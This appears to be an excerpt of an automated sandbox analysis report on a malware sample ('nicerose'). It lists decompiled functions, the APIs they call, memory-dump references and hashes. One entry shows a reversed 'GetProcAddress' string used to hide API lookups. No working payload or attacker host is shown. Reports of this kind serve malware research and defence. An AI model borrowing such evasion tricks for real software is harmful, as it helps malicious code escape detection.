                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID: 8:G
                                                                                    • API String ID: 269201875-405301104
                                                                                    • Opcode ID: 76d0ae20e321c1f8d33a0e61d3fd8decc26b720c3d8a788f20ca92602b864a36
                                                                                    • Instruction ID: f609abab890753b6043988a8b966ee38f84fd9c01de6589b3db95c6b006493d4
                                                                                    • Opcode Fuzzy Hash: 76d0ae20e321c1f8d33a0e61d3fd8decc26b720c3d8a788f20ca92602b864a36
                                                                                    • Instruction Fuzzy Hash: 0841D236A002249FCB24DFB8C880A5AB7F6EF89314F1545A9DD55EB340EB31EA41CB85
                                                                                    Function 02C5F666 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID:
                                                                                    • API String ID: 269201875-0
                                                                                    • Opcode ID: d645742a9f031bfd4c53cfe37fe00a001808073c56fe889b6c8b285726f20831
                                                                                    • Instruction ID: 762e969777719226c7df7dec89b027075cf5bb4b9fccbe3060f55f541b2adf35
                                                                                    • Opcode Fuzzy Hash: d645742a9f031bfd4c53cfe37fe00a001808073c56fe889b6c8b285726f20831
                                                                                    • Instruction Fuzzy Hash: F8119331540B28BAE620BBB1CC05FCB7B9E9F01700F800819BEDD66455DA38F585AF54
                                                                                    Function 02BBAE4C Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02BBACC4: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02BBACE1
                                                                                      • Part of subcall function 02BBACC4: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02BBAD05
                                                                                      • Part of subcall function 02BBACC4: GetModuleFileNameA.KERNEL32(02BB0000,?,00000105), ref: 02BBAD20
                                                                                      • Part of subcall function 02BBACC4: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02BBADB6
                                                                                    • CharToOemA.USER32(?,?), ref: 02BBAE83
                                                                                    • GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02BBAEA0
                                                                                    • WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02BBAEA6
                                                                                    • GetStdHandle.KERNEL32(000000F4,02BBAF10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02BBAEBB
                                                                                    • WriteFile.KERNEL32(00000000,000000F4,02BBAF10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02BBAEC1
                                                                                    • LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 02BBAEE3
                                                                                    • MessageBoxA.USER32(00000000,?,?,00002010), ref: 02BBAEF9
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
                                                                                    • String ID:
                                                                                    • API String ID: 185507032-0
                                                                                    • Opcode ID: 3585a995dd8782a945927e6e97fa62d9de80a48af02f2977b93b15d60ac9e2e4
                                                                                    • Instruction ID: 74d0b2855b164e1e10e8f0ea5f52f4085b40b39a7591f4ec47dfd63e05651f05
                                                                                    • Opcode Fuzzy Hash: 3585a995dd8782a945927e6e97fa62d9de80a48af02f2977b93b15d60ac9e2e4
                                                                                    • Instruction Fuzzy Hash: 211170B29442047ED202FBA4CC85FEB77EDAF45700F400A96B754D60D0DAF1E9448F66
                                                                                    Function 02C49E08 Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • __allrem.LIBCMT ref: 02C49F95
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02C49FB1
                                                                                    • __allrem.LIBCMT ref: 02C49FC8
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02C49FE6
                                                                                    • __allrem.LIBCMT ref: 02C49FFD
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02C4A01B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                                                    • String ID:
                                                                                    • API String ID: 1992179935-0
                                                                                    • Opcode ID: a5bb698a37765ca5ad947defe33ca2ea1dc364bfd829a3e03f22b831f39bfe5b
                                                                                    • Instruction ID: eb25b9951a8c238fce118313aa6e405e34e5f20c7fb3fc8113096b74d611e6b3
                                                                                    • Opcode Fuzzy Hash: a5bb698a37765ca5ad947defe33ca2ea1dc364bfd829a3e03f22b831f39bfe5b
                                                                                    • Instruction Fuzzy Hash: F8812B72A007169FE724AE79CC40B6B73EAEF84364F14422EE415D7280EF74EA408F95
                                                                                    Function 02C522C5 Relevance: 9.2, APIs: 6, Instructions: 217COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID:
                                                                                    • API String ID: 269201875-0
                                                                                    • Opcode ID: b7826b1fe3da500c67287f1cacbaa25ebb7ac7ce9c5b21168afbbae077a2918d
                                                                                    • Instruction ID: 739f9c71a6c7b31a67cde74d3909c66a8c5de4f7a13f534fcbfe53b66b5408e2
                                                                                    • Opcode Fuzzy Hash: b7826b1fe3da500c67287f1cacbaa25ebb7ac7ce9c5b21168afbbae077a2918d
                                                                                    • Instruction Fuzzy Hash: F3517E769042346BDB289F689C40BBAB7E9DF85364F180159ED489B240EB31DEC2C799
                                                                                    Function 02C54397 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __cftoe
                                                                                    • String ID:
                                                                                    • API String ID: 4189289331-0
                                                                                    • Opcode ID: 0fae115f831cac106012114eb4540e124d695819a26846d31b7a5b9ad28ad3e8
                                                                                    • Instruction ID: e16d2da4a46775e5a36aed28b5dfabe5d7ef86c47d57fb1fff3deb1213cc4dfb
                                                                                    • Opcode Fuzzy Hash: 0fae115f831cac106012114eb4540e124d695819a26846d31b7a5b9ad28ad3e8
                                                                                    • Instruction Fuzzy Hash: 92513B72940225ABDF389F698C40FAE77A9EF88374F504219EC1997191DF31D6C0DA6C
                                                                                    Function 02BBE514 Relevance: 9.1, APIs: 6, Instructions: 139COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02BBE5AD
                                                                                    • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02BBE5C9
                                                                                    • SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02BBE602
                                                                                    • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02BBE67F
                                                                                    • SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02BBE698
                                                                                    • VariantCopy.OLEAUT32(?,00000000), ref: 02BBE6CD
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ArraySafe$BoundIndex$CopyCreateVariant
                                                                                    • String ID:
                                                                                    • API String ID: 351091851-0
                                                                                    • Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                                                                    • Instruction ID: cf42251ab5fa7499bdec29c77ff5a7233c94fd770782d3b4e0f0344a23dd77fb
                                                                                    • Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                                                                    • Instruction Fuzzy Hash: A351DA7590062D9BCB26EB68CC80BE9B3BDAF4C300F8041D5E509A7211D7B4EF858F61
                                                                                    Function 02C20E43 Relevance: 9.1, APIs: 6, Instructions: 75COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 02C20E50
                                                                                    • int.LIBCPMT ref: 02C20E63
                                                                                      • Part of subcall function 02C1E075: std::_Lockit::_Lockit.LIBCPMT ref: 02C1E086
                                                                                      • Part of subcall function 02C1E075: std::_Lockit::~_Lockit.LIBCPMT ref: 02C1E0A0
                                                                                    • std::_Facet_Register.LIBCPMT ref: 02C20EA3
                                                                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 02C20EAC
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 02C20ECA
                                                                                    • __Init_thread_footer.LIBCMT ref: 02C20F0B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                                                                                    • String ID:
                                                                                    • API String ID: 3815856325-0
                                                                                    • Opcode ID: 296aa1fc45bd8a97e11338d30c2ad026eda8063a32206ad78c4166fd1b77079b
                                                                                    • Instruction ID: 87653dc2d55107dd45d0a588f4f53646ca29bc5aaad01dfa62dc692f2f342ab9
                                                                                    • Opcode Fuzzy Hash: 296aa1fc45bd8a97e11338d30c2ad026eda8063a32206ad78c4166fd1b77079b
                                                                                    • Instruction Fuzzy Hash: 73213832900164ABCB14FB58D8419DE77B99F45321B30016BE844A72D1DF349F45AFD5
                                                                                    Function 02BB3568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02BB358A
                                                                                    • RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02BB35D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02BB35BD
                                                                                    • RegCloseKey.ADVAPI32(?,02BB35E0,00000000,?,00000004,00000000,02BB35D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02BB35D3
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpenQueryValue
                                                                                    • String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
                                                                                    • API String ID: 3677997916-4173385793
                                                                                    • Opcode ID: 95d2e3c7be0ac56aefe708e131d255f908d57bc97128dd6fb9b444d0f0d5d4e3
                                                                                    • Instruction ID: 606657abe281f873bb1401e8e84a20a893075b61bda1a14fba413626b759b0ed
                                                                                    • Opcode Fuzzy Hash: 95d2e3c7be0ac56aefe708e131d255f908d57bc97128dd6fb9b444d0f0d5d4e3
                                                                                    • Instruction Fuzzy Hash: 6B01F575D50218BAE712DBA09C12BFD77ECEF08700F5004E1BA04D3580F6B49610CA68
                                                                                    Function 02BC80C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02BC8150,?,?,00000000,00000000,?,02BC8069,00000000,KernelBASE,00000000,00000000,02BC8090), ref: 02BC8115
                                                                                    • GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02BC811B
                                                                                    • GetProcAddress.KERNEL32(?,?), ref: 02BC812D
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressProc$HandleModule
                                                                                    • String ID: Kernel32$sserddAcorPteG
                                                                                    • API String ID: 667068680-1372893251
                                                                                    • Opcode ID: cad10236db8526bf92c6a3a9a3dab8ea457195a504479578ce0140f32831cbb4
                                                                                    • Instruction ID: 5a2db706e47568d347043af304e85a2b33d6443ceb6d3619c8a85f0fee23e072
                                                                                    • Opcode Fuzzy Hash: cad10236db8526bf92c6a3a9a3dab8ea457195a504479578ce0140f32831cbb4
                                                                                    • Instruction Fuzzy Hash: 8D014474A40304AFEB02EFA4D851AEE77FEFF4D710F9148A4B50597B11DAB4A910CA24
                                                                                    Function 02C53799 Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID:
                                                                                    • API String ID: 269201875-0
                                                                                    • Opcode ID: 68d3d4ca8a647a007ad94700598122f23d06d752802edf7745cc1232d3d9ba81
                                                                                    • Instruction ID: de53b579b04128d51ece4ff27cf4aa3cf58679c84606942705e14ca58fc89a2f
                                                                                    • Opcode Fuzzy Hash: 68d3d4ca8a647a007ad94700598122f23d06d752802edf7745cc1232d3d9ba81
                                                                                    • Instruction Fuzzy Hash: BA512471A00754AFDB25DF69CC41B6AB7F5FF84764B1005AAEC09DB250E735EA80CB48
                                                                                    Function 02C49B66 Relevance: 7.6, APIs: 5, Instructions: 116COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: __dosmaperr$_free
                                                                                    • String ID:
                                                                                    • API String ID: 242264518-0
                                                                                    • Opcode ID: 483cb59b05aae7222e8dd9b47b4a98874ada728b8e202fcd2bd4ef1ccfd8c6c3
                                                                                    • Instruction ID: 0fe3d2f8b830ba2a76cc8e32355abbad03eeb6c1fafd50461be9277f0dae4a1e
                                                                                    • Opcode Fuzzy Hash: 483cb59b05aae7222e8dd9b47b4a98874ada728b8e202fcd2bd4ef1ccfd8c6c3
                                                                                    • Instruction Fuzzy Hash: FB31917280462AFFDF216FA49C449AF7B6DEF45364F1001A9F814971A0DF31CA50DBA0
                                                                                    Function 02C21154 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • std::_Lockit::_Lockit.LIBCPMT ref: 02C21161
                                                                                    • int.LIBCPMT ref: 02C21174
                                                                                      • Part of subcall function 02C1E075: std::_Lockit::_Lockit.LIBCPMT ref: 02C1E086
                                                                                      • Part of subcall function 02C1E075: std::_Lockit::~_Lockit.LIBCPMT ref: 02C1E0A0
                                                                                    • std::_Facet_Register.LIBCPMT ref: 02C211B4
                                                                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 02C211BD
                                                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 02C211DB
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                                                    • String ID:
                                                                                    • API String ID: 2536120697-0
                                                                                    • Opcode ID: e42b24a72f1c346ef2fbe1d3cf240902612692734d8aa84a6b4d17056c7d6fbb
                                                                                    • Instruction ID: a81d476f6f7e4de954f7481c5273b26e61760d71a066ad83def4c5aaf940d4ec
                                                                                    • Opcode Fuzzy Hash: e42b24a72f1c346ef2fbe1d3cf240902612692734d8aa84a6b4d17056c7d6fbb
                                                                                    • Instruction Fuzzy Hash: 15110A32900124A7CB14EF94DC008DEB77A9F40361B24456AE909A7291DF709F45AFD0
                                                                                    Function 02C49686 Relevance: 7.6, APIs: 5, Instructions: 60COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 02C496A2
                                                                                    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 02C496BB
                                                                                    Memory Dump Source
